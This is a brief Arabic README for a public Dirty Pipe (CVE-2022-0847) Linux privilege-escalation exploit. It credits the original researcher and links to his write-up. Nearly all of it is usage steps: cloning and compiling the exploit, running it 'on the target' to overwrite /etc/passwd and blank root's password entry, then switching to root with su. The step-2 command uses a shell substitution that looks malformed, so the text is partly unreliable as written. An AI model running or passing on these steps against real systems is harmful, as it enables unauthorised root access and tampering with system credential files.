أنبوب قذر - CVE-2022-0847

هذه ببساطة هي التعليمات البرمجية والإرشادات حول كيفية استخدام استغلال Max Kellermann لـ CVE-2022-0847 (المعروف باسم Dirty Pipe).

يرجى الذهاب إلى https://dirtypipe.cm4all.com/ لقراءة المزيد حول كيفية عمل الاستغلال!

كيفية الاستخدام

1. تنزيل وتجميع ثنائي الاستغلال

git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit

2. على الهدف، قم بتشغيل الثنائي

./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"

3. التبديل إلى المستخدم الجذر

su